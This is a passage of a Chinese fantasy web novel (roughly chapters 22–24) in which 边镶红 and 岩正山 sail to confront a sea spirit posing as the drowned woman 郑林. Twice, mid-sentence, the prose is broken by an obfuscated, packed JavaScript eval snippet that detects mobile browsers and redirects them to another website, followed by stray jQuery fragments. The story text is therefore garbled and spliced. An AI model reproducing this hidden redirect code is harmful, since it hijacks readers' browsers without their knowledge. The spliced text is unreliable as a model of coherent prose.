“可以,黑水镇的名字来源就是因为那女子死后怨念太大,沿岸海水漆黑无比,渔民一出海就遇大风大浪,海水一黑生存黑暗。但靠海吃海,渔民又需出海捕鱼,为取得那女子的同情,开始会有妇女跟着丈夫出海捕鱼,只要有女性的船只就不会遇到大风浪,女性跟着出海捕鱼也就稀松平常了,黑水镇也算恢复了平静。七月中旬是那女子出海遇难的时间,这里也逐渐确定每年七月中旬全镇不出海的传统,并在二十日那天全镇举行祭奠祭拜那女子。” 边镶红有点疑惑,“真是奇怪,这女鬼没有被夫妇共同出海激怒到,反而保佑他们平安,也算是行善积德了,她怎么还会在海里泡着呢?而且这样的话,她保护的究竟是女性还是男性呢?” 岩正山也觉得这个传说有点玄乎,但他不在意,他看边镶红的神情严肃,明白那女鬼估计有点棘手,而她又着急赶路,印证了他的直觉,“你要找的三步神在西云郡吗?” “是,她在西云郡,你不是也感应到她在哪个方位才找到我的吗?”边镶红在桥上看到严正山的第一反应就是,他真的是被神眷顾的幸运之子,竟然可以这样快速就找到她。真是不公平的神!她端起杯子,喝了一口,然后环顾四周,这个客栈的客人不多,黑水镇这个时节没有外人来往,但街上又很热闹,看来那只海鬼的威慑力很大,他们俨然将她当成守护神,如果明天能顺利出海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715665|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到了之后再看情况要不要超度她。 被晾在一旁的严正山没有说话,他的确是凭感觉找到边镶红的,他总是轻而易举地得到了一切他想要的。 菜很快上齐了,四菜一汤,店小二依次介绍道:“虾米烧冬瓜,红烧咸鱼块,白菜炖豆腐,清蒸黄花鱼,白贝苦瓜汤。二位客官,因为这几天不出海,所以基本没有新鲜的海货,但这黄花鱼是前些天渔民钓上来,送来的时候还活着,便用海水养在缸里,很新鲜。虾干、咸鱼干也是前段时间晒得,都是我们当地特色,二位贵客慢用!” 边镶红没有吃过海鲜,便看向严正山,他的脸上看不出嫌弃之意,那大概还是可以的。 严正山先给边镶红盛了一小碗苦瓜汤,“饭前先喝汤,可能有点小苦,但清热降火,也爽口。”又拿了双筷子,拨开了鱼鳍的刺,小心翼翼地剔开了鱼背上的肉,“这里的肉没有刺,这种鱼刺不多,只有鱼背和鱼腹连接处这一列会有一些小刺,吃的时候小心点就好。”他用筷子悬空比划了一下鱼身讲解,边镶红点点头,两人开始安静地吃饭。 吃完饭后,岩正山提议去街上散散步消消食,边镶红摇了摇头,“你自己去吧。” “我们之间的关系一定要这样僵硬冰冷吗?边镶红,你爱上我了吗?”岩正山冷脸凝视边镶红,边镶红瞥了他一眼,她没有生气,只是觉得怪异,“严正山,你为什么能那样轻易地与我谈论情与爱这个问题?” “那我们之间要讨论什么?讨论该怎么杀死彼此吗?”严正山眉头紧锁,边镶红站了起来,“所以我们像个搭伙赶路的陌生人就好。” “陌生人?边镶红,你能把我当成陌生人吗?你说过你可以死在我手里的,我们怎么可能将彼此当做陌生人。如果我喊你名字的时候你停下来了,你笑着和我打招呼,像无事发生那样和我一样相处,那我也会把你当陌生人的。可是你转身走了,你知道你转身的那一刹那我在想什么吗?” 边镶红又坐了下来,但她不是要聆听岩正山对她的伤感,她侧着头,直勾勾看着岩正山,“那你知道我为什么转身吗?” “你肯定猜不到的,我知道我为什么说得出我可以被你杀死的话吗?” “因为你绝对不可能杀死我!” 边镶红一句接着一句,没有停顿的意思,也不允许被打断,“你知道我的双眼可以看到别人的过往,但是看不到你的人生。可是就在刚才,在桥上,我望着你向我本来的身影,我看到了你的未来!” “岩正山,你真的被我杀死了!”边镶红伸出双手,将手心伸向岩正山,“我看到我的手上都是你的血,是我亲手杀死你的!所以我转身离开了,我到现在都能想起杀死你之后的五感。我不想一遍遍经历,所以我不想靠近你!” 边镶红特地将手伸向岩正山,但出乎意料地,岩正山抓住了她的双手,她片刻失神,又明确地感受他的掌心和手指都是温热的,他的手和他的心一样炽热,他的温度太过准确无误地从他的心脏里流淌出来了! 岩正山的声音一样滚烫,“所以你不要一个人承受这一切,我不怕死,更不怕被你杀死!所以镶红,做回你自己,不要为我考虑,不要心疼我!” 23. 第 23 章 边镶红没有说话,她只是收回了自己的手,她的脸上慢慢浮现笑意,“好啊!那我们去散步啊!”她站了起来,笑意盈盈。她其实不能理解岩正山在想什么,他怎么可以在她明确说出她杀死他的未来后,还只是心疼她,他不应该害怕、生气又或者责怪她吗? 人的情感真的可以无私到为别人付出自己的生命吗?边镶红一时之间理不清楚思绪,所以她愿意听从岩正山的提议,她会尽量满足岩正山的一切要求的。 岩正山看着她没有笑意的双眼,握紧了双手,又放掉,他站了起来,“今晚的月色一定会很好的!” 边镶红在街上漫无目的地走着,街道两旁的商贩很多,卖吃食和首饰的居多,岩正山在她后面,沉默安静。她走走停停,确定了黑水镇是真的很祥和,没有怪异的力量波动,这里没有冤魂厉鬼,边镶红抬头看了一眼夜空,这海鬼难不成真的成神了? “岩正山,你看天上有什么?”边镶红忽然说话,岩正山一下子没反应过来,他跟着抬头看了一眼夜空,只有几颗星星,这个方位看不到月亮,他迟疑地回答:“有星星,以及没有怨气。” 边镶红转过身来,岩正山的世界里开始有鬼的存在了,他不断地在向她的人生靠拢。她在看他,不知为何像看到了龙景,龙景一定知道岩正山的存在,他与他与她大概是真的不会善终。“是,这里没有怨气,这里难不成真的是人间乐园,人人都安居乐业、幸福快乐,所以死后无怨无悔,立即往幽冥奔赴下一个人生?” 岩正山迟疑地问道:“你是说这里的怨气都被海鬼吸收掉了?” 边镶红点了点头,“是,一个靠吸食怨气的恶鬼,怎么可能真的会大公无私地保佑一方风调雨顺呢?所以我们明天更加要出海会一会那位‘海神’了。好了,步也散了,该回去休息了。”她看着来时路,还是很热闹,太热闹了,她不是很喜欢,她径直从岩正山身边走了过去。 岩正山看着边镶红的背影,能感受到边镶红有太多欲言又止,她无法直白坦荡地表达出自我,她望着夜空的时刻,还看到了什么呢?他想不出答案,只能继续跟在她的身后。 第二天天一亮,店小二信守诺言带着他们到了顺风船厂,船厂老板是位五十岁左右的男子,头发半百,体格还算健硕,他听闻边镶红的来意后,沉默了很久,时不时盯着岩正山和边镶红,难以决断。 边镶红知道他们的顾虑,便承诺道:“郑老板,不用担心,你只管卖船给我们,我们出海生死自负,也一定会跟‘海神’说清楚是我们强迫你卖船给我们。其次,万一‘海神’知我远道而来,有非常之事需及时渡海,谅解我们也很有可能。再者,我是女人,海神怎么会为难女人呢!” 郑老板还是没有立马应下,岩正山本想再加高价格,但边镶红再次发言,“如果你不卖的话,我就会把你船厂里所有的船只都烧掉!”她伸出右手,掌心哗啦一声有一团火焰在燃烧跳跃,她将手凑到郑老板面前,火焰的热气很快灼烧到了他脸上的皮肤。他终于点头应下,“但是,现在厂里只有一艘四帆的木帆船,最后一遍油漆还没刷完,不是成品,如果直接下海,估计还没到西云郡就会报废掉。价格算你们一百两就好,你们买得起吗?” 边镶红立即掏出她的三个钱袋子,将里面的银子全部倒出来,这才发现有一个袋子装的都是金子,她有点疑惑毛峰哪里找的金子,这么多,看成色是纯金。她看着整张桌子都是金子和银子,不确定这些够不够一百两,她看向岩正山,问道:“这些够吗?” 不说郑老板和店小二震惊,岩正山还是有点惊讶,边镶红对财不外露也没有概念,“不用这么多!”他大致估算了一下,将整桌的银子金子分为两份,“你把这些收起来,这些远远超过一百两了。” 边镶红从善如流,她讲金子递给郑老板,“船呢?” 郑老板眼巴巴地望着那堆银子,眼神复杂,但立即带路走到后面的工场,他指着船说道:“这艘船至少可以容纳二十余人,木材、绳索、帆布等都是一等一的好货。” 边镶红看了一眼帆船,立马吩咐道:“好,那现在就把它弄到海里,我们马上就要出海。” 郑老板看边镶红神色坚定,双手合十,拜向海边,“海神保佑,此二人生死自负,与我顺风船厂无责。” 边镶红看向岩正山问道:“你的马要跟着一起出海吗?” 岩正山想了一下,此去凶多吉少,他摇了摇头,“追风就不去了,你的小灰要跟着吗?出海会很难受,我也不懂你的小灰驴能不能忍受住风浪摇晃。” “那就让它自由吧!”边镶红没有犹豫,“或许让它跟着你的马也不错。”她说完快步走出船厂,她要和小灰道别,拿上她的包袱。 小灰和追风还是在同一个马棚里,它们并排而站,安静乖巧,似乎已经猜到边镶红的来意。边镶红伸手摸了摸小灰的头,它的毛发不想刚下山那会那样光滑水亮了,“小灰,你可以选择回三步山上去,又或者跟着追风,去岩家也好,去外面游荡也好,总之你自由了。” 小灰“嘤嘤嘤”叫了几声,边镶红没有听懂,大概是不舍吧,情意这种东西,相处久了就很容易产生出来。她解开了缰绳,“再见,小灰。” 岩正山也解开了追风的的缰绳,“追风,你也自由了!”追风还是亲昵地侧着头求抚摸了,岩正山拍拍它的头,和边镶红一起转身走了。 一驴一马同时啼叫,看着两人走远,消失不见。 波光粼粼,反射的阳光还是有点刺眼,边镶红收回了眼神,但还是一动不动地站在船帆下面,岩正山从她身后走来,“难受就坐下来,闭上眼睛休息一下,我看得懂罗盘,也可以感受风的方向,我不会迷失方向,南辕北辙的。” “我不难受,只是觉得新奇。坐船出海原来是这个感觉,摇摇晃晃,脚下像踩着棉花一样。”边镶红还是目视前方,“岩正山,你说船会翻吗?船会在下一刻肢解掉,变成一块块木板吗?”她侧过头看着岩正山,“还有,你会游泳吗?” “船不会翻,我也不会游泳,但我们会顺利到达西云郡,我保证!”岩正山信誓旦旦,边镶红转过头来,继续看向前方,“那里有一座小岛。” 岩正山聚精会神地看向前方,但看不到任何一丁点黑色的岛屿,“我看不到,目之所及皆是海天一片。” 边镶红忽然伸手抓住岩正山的手腕,随即一阵大风吹袭而来,船帆“啪啦啪啦” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739120|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断震动飞扬,船只左右摇晃,两人跟着左右摇摆,好几次险些掉进海里。而海面上的雾气不断翻涌,而帆船似乎受到了巨大的推力,快速前进。 是海鬼在搞乱,边镶红不意外,岩正山也看到了边镶红所说的小岛,海岸边没有码头,没有岩石,是绵密洁白的海沙,而岛上郁郁葱葱都是高大的乔木,岛中央看起来有一座山丘,绿意盎然。他还没来及思考船该怎么靠岸时,边镶红拉着他一跃而起,踩着船头的龙头,飞身到了沙滩上。 但他们双脚一落地就陷了进去,很快消失在沙滩上。他们回到了刚才登船的黑水镇码头,他们还是站在沙滩上,看到了一个背影,瘦弱佝偻的妇女正推着一艘小船下海,岸上有人在喊,“嫂子,嫂子,你真的要把自己命也赔进去吗?我大哥死了,他不会回来的,你找不到的!”那人很快奔跑过来,拉住了小船的船尾,“嫂子,活下去,不要给海生哥殉葬!” 郑林摇了摇头,掰开了张山的手,“张山,我真的很感谢这一年你对我的帮助,但是我一定要出海。相信我,你海生哥真的没死,他真的就在海里的小岛上等我去接他回家,真的!” 张山的手再次紧紧抓住船尾,“嫂子,我知道你们夫妻感情好,所以你不顾一切嫁给了海生哥,但是,海边人就是这样子,出海了没有回来就是死了,他已经死了!” 郑林再次掰开了他的手,她的神情变得很平静,“张山,你该回家了!”她不欲再解释一遍她的直觉,她知道她的丈夫张海生没死,他真的再等她去接他回家。她继续推着小船下了海,傍晚时分的风从陆地上吹过来,可以省下很多力气。 张山就那样看着郑林的小船慢慢驶远了,风吹着帆,她还在奋力滑动着船桨。 边镶红和岩正山跟在郑林后面,她在海上漂泊了一天一夜后,终于到了这个小岛,她欣喜若狂上了岸,又花了一天的时间逛遍了整个小岛,活人没有遇到,尸骨也没有看到。她开始崩溃了,她重新上了小船,她要去下一个小岛找他的丈夫。她像个不会累的木偶,不断重复划船,但是一阵大风轻易吹翻了她的小船,她掉进海里,不断挣扎,快沉底时才冷静下来慢慢浮出了海面,她开始学会小心翼翼呼吸保持身体平衡,后面抓住小船的木板又漂荡了一夜。 天亮的时候,她又看到了一个小岛,远远就看得清楚那里有人居住,有房子、有炊烟,她知道张海生一定在那里,她终于找到了他。可是她奋力游向小岛,可是太远了,又一个风浪奔涌过来,她筋疲力尽,沉入了海底。 郑林死了,她的灵魂从海里出来,上了岛,果真看到她的丈夫张海生,他抱着一个婴儿,像是刚出生不久,他笑得很开心。他把孩子递给一位妇女,拿起一大捆渔网,往码头上走过去,他要出海捕鱼,他有一艘船,他看到了一些木板被海浪推着撞击他的渔船,他连忙拿木浆拨开。他不知道那些木板是郑林的小船,他不知道郑林看到了这一切。当他收回船锚启航之后,他也不知道是郑林掀翻了他的船,让他真的葬身海底。 海风吹到了边镶红和岩正山的脸上,他们从幻境里抽离出来。耳边传来一阵大笑,“看看,这就是爱情!舍生忘死,然后被辜负的爱情。而你们也会变成这样!” 24. 第 24 章 边镶红的大刀迅速朝东南方向砍下,狂风大作,风沙散去那里依旧空空如也。她往前走了几步,面向岛中央的山丘,“难道不是你害的?贼喊抓贼多没意思!”她手持大刀,“如果你再不现出原形,那我就劈开这座山!” “哈哈哈!”笑声从身后响起,边镶红和岩正山闻声都转过身去,一女子迎着光走来,她的双眼在朝阳的照射下诡异地明亮,是郑林,她的容貌还和生前一模一样。 “为什么不以真面目示人?躲在郑林的皮囊下有意思吗?”边镶红目不转睛盯着郑林,她的心里有种奇怪的感觉,她第一次觉得有点慌乱,她认识她,她的直觉非常强烈。 岩正山看了一眼郑林,又看着边镶红,他知道这次遇到的海鬼跟以前不一样。 “这就是我的皮囊啊,我就是郑林,边镶红,你不是看到我的人生了吗?我亲爱的丈夫背叛了我,所以我杀死了他,变成了海鬼。”郑林走近,“我被困在了这里,不得超生!” 边镶红不惊讶会听到自己的名字,她还闻到了一种香气,很熟悉,但是一时之间想不起来她在哪里闻过。 “边镶红,你怎么了?”岩正山轻声呼唤,边镶红抬头看了他一眼,又看向郑林,“你不是鬼!” 岩正山愣在原地,郑林不是鬼?她是妖?还是人? 郑林笑了起来,“那我和你们一样是人喽,是活生生,会呼吸、会流血的人了?” 边镶红转动手里的大刀,将阳光发射到郑林脸上,如果忽略掉她的双眼,此时她看起来纯良和蔼极了,但活人怎么会不惧强光,“你到底是谁?” 郑林右手的食指和中指并拢,轻轻滑过双眼,那缕阳光瞬间消失,但她的双眼依旧诡异地明亮着。她侧着头看向边镶红,“这个问题,我已经回答过了!是你没有回答我的问题。” “你非人非鬼,但绝非良善之辈。”边镶红握紧了刀把,“是你假装成郑林的丈夫一直给她托梦,让她孤身一人出海送死。你杀了她,占了她的皮囊。”她朝着郑林劈下去,郑林一动不动任由她一刀劈下去,她的身体被劈开消散掉。 “你明知道杀不死我,何苦白费力气呢!”郑林又恢复原样,“你的眼睛果然还是有点东西的,但你真的都看全了吗?”她侧着头,看向岩正山,“你也没有看到全貌吗?” 边镶红毫不犹豫又是一刀劈下,哐的一声,但这回刀锋没有劈开郑林的头颅,她毫发未伤,边镶红的虎口被震得巨疼,她还没有缓过来,就看到郑林瞬移到面前,单手掐住她的脖颈。她的力气越来越大,边镶红全神贯注地盯着她的双眼,忽然一阵白光从郑林的双眼直直刺向她的双眼,边镶红下意识闭上了双眼。很快她呼吸不畅,逐渐变得微弱,脸色瞬间涨红。 “边镶红!”岩正山冲了过去,抽出长剑朝郑林的手斩了下去,他不解边镶红的戾气为什么没有灼烧郑林的手掌?不出意外,郑林的手臂被砍断了,但她残肢还是紧紧掐着边镶红的脖颈。他放开了剑,双手去掰扯郑林的残肢,还是掰扯不动。边镶红没有苏醒的迹象,岩正山甚至觉得她已经停止了呼吸,她被困住了?他焦急万分,双手抓着她的两肩不断摇晃,“边镶红,你醒醒!边镶红,你怎么了?” “她只是一直凝望深渊,然后跌进了深渊而已!”郑林不知何时凑在了岩正山的耳边,“不用这么紧张,岩正山,有你在她身边没人能杀死她,不然刚刚我就能把她溺死在海里了。”岩正山一手揽过边镶红,一掌大力打在郑林右肩上,她如海雾散去,又凝聚成实体,脸上挂着真挚而深切的笑容,她用新长出来的右手指着边镶红,“能杀死边镶红的只有你,岩正山!” “不!”岩正山脱口而出,他绝对不会伤害边镶红,他说的他会亲手杀死边镶红的话不过是骗人的,边镶红也知道的。杀死她!杀死她!这个郑林不是海鬼,也不是人,但是是会伤害到边镶红的存在的!岩正山蹲下身捡起了他的剑,他的左手抓住剑身,从剑柄抹掉剑尾,剑身上都是鲜血淋漓,他立即朝郑林冲刺过去,他不知道应该怎样用剑杀死她,但他一定要亲手杀死她! 郑林脸上的笑意没有消减,她的手上忽然出现一把长剑,在千钧一刻及时格挡住了岩正山的攻击,转而开始进攻。出乎意料的是,岩正山发现郑林的剑法是边镶红师门传承的剑法,她的剑法造诣甚至比边镶红还高,她与边镶红一定存在某种联系,边镶红才会被困在她的幻境里。 一定要打败郑林!岩正山紧紧握住剑把,出剑速度越加快,专攻郑林的心脏方向,他的直觉告诉他只要用沾满他血的剑刺碎她的心脏,就可以杀了她,救出边镶红。 郑林不慌不乱,逐渐转为防守,岩正山的剑法自成一派,他太熟悉三步剑法所有招式,他见招拆招的能力在她之上,就是这样不公平!但是这一次,岩正山不会轻易杀死她的! 边镶红对这一切毫不知情,她被那道白光带进了郑林的世界里,但她看到的人不是郑林,她呆呆地站了很久,才确认她看到的人是岩正山,他正在给一只野猪的左上腿包扎,他将一团绿色的植物糊糊敷在野猪的腿伤上,看穿衣打扮,他是猎人,可是猎人为何要救治猎物? “还好你只是一只小猪,腿细,不然这个铁夹子就会深深地扎进你的细皮嫩肉里,死死把你固定在这里,然后成为我过冬的腊肉、香肠,以及今晚的滋滋作响的烤肉。”岩正山边说边打了个结,拍了拍包扎处,野猪哀嚎一声不断挣扎,他笑得很大声,然后紧紧抱住那只野猪起了身,“可是你身上没有三两肉,收拾你太累了,所以我决定今晚不吃烤肉,吃烤兔子。把你养到明年冬天,一定很好吃!”他抱着野猪下了山,边镶红看着他的背影,还是不能接受,她怎么会是那只猪呢? 这里不是郑林的人生,是她边镶红的人生。郑林为什么要这样做?她又为什么能让她看到她的前生?边镶红闭上眼睛,想要脱离这个世界,但一睁眼,她站在了岩正山的家里,简陋的木屋有点漏风,她察觉到了寒意。 “喝吧,这可是烧过的水,跟你在山上喝过的溪水不一样,好喝极了!”岩正山到了一碗水放进了鸡笼里,然后摸了摸了野猪的鼻子,野猪一顿乱拱避开。岩正山哈哈哈大笑,“家里就这些稻草,你再乱拱压碎了稻草,就会躺在一层鸡屎上面。” 边镶红闻言再次愣住了,仿佛下一刻她就要在那一层鸡屎上面打滚一样,那野猪也似乎听懂了,没有再动弹。岩正山很满意,他关好了鸡笼的门,笑意又浮现,“这几天你就在这个笼子里住着,吃喝拉撒睡都在这里,所以这些稻草一定要省着点用哦!看你黑不溜秋的我就叫小白好了,小白这个名字好听,到时候也给你养的白花花的再吃掉!” 野猪因为腿伤翻不了身,但它闭上了眼睛。边镶红稍微有点理解猎人要养大猎物的做法,但岩正山明显不是真的要把它当成储备食物。他给它取了名字,有了名字就不是家畜了,她还是不想承认它是那只猪。她忽然想起了林瑶和小雨,他们和她们有什么因果联系吗?她跟在岩正山后面,看他出了房门,在房子后面的猪圈里抓了一只兔子,他熟练地放血、剥皮、掏空内脏,在表皮抹上一层粗盐,在兔子肚子里塞了半个切成小块的 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岩正山哈哈哈大笑,“我的厨艺不错吧,明年也这样处理你!” 边镶红忽然发现她其实也没有见过笑得这样开心的岩正山,他应该很爱笑的,但是和她在一起的时候没有什么事情能以令他心情愉悦开怀大笑。 一人一猪度过了寒冷的冬天,开春的时候,小白腿伤早痊愈,也长大了很多,它白天和岩正山一起上山采集瓜果和打猎野鸡野兔,它跑得很快,但学会了避开陷阱和辨认捕兽夹。入夏的时候它的体型又大了一圈,它和岩正山还是相处得不错,但是天气越来越热,很久都没有下过雨,山上的小溪里没有水了,山下有越来越多的村民上山寻找食物,岩正山不在让它出门,他将它关在地窖里。它靠吃植物的根茎度过了夏天,秋天的时候它又瘦了下来,岩正山比它瘦的更明显。 天气不那么热,但依旧没有下雨,还是陆续会有村民上山找吃的,他们已经挖光了草根,山上光秃秃的,连草都吃不上了。他们在岩正山的屋子外徘徊了很久,岩正山的那一窝兔子早就吃完了,连兔毛都没有了,他拿着搭弓拉箭站在门口,“各位大哥大嫂,我真的没有吃的了。但是过几天一定会下雨的,朝廷的赈灾粮很快又会拨下来的。或许现在正在分粥呢!” 岩正山的态度很明确了,谁敢擅闯,他就会射死谁,他在这里居住两年,村民还是知道他的箭术,而且被箭射死后的下场他们也知道,所以他们下山了。 但是他们又折返回来了,在岩正山出去寻找吃的后,他们四处寻找,敲敲扣扣地,终于还是找到了地窖的位置,打开后发现了虚弱的小白。他们刚开始笑得很大声,但很快沉寂下来,他们用木棍用力敲晕了小白,它没来得及嚎叫挣扎,就被绑起来架在院子里。 边镶红眼冒金星,头痛欲裂,她冲了上去,但是触碰不到任何人。他们从厨房里找出了菜刀,小白的鲜血缓慢滴落的鲜血成为他们的甘霖。 岩正山推倒院门的时候已经没有小白了,院子里陷入死寂,但很快又忙活了起来。那个捕杀了小白的猎人招呼道:“小山啊,回来,搭把手,我们很快就能吃上肉了!” 边镶红看着岩正山的双眼里映照这小白的鲜血,他缓慢地抬起头,盯着那个猎人,那人被盯着觉得有点毛骨悚然,他想上前再说几句,但只迈出了一步,岩正山用了很大的力气扔出了手上的柴刀。 猎人鲜血喷涌,院子里的人被血浇灌了一身,温热的血液让他们反应过来,岩正山砍下了猎人的头颅,猎人的身体直直摔倒在地,他们开始大喊大叫,胡乱奔跑,“杀人!”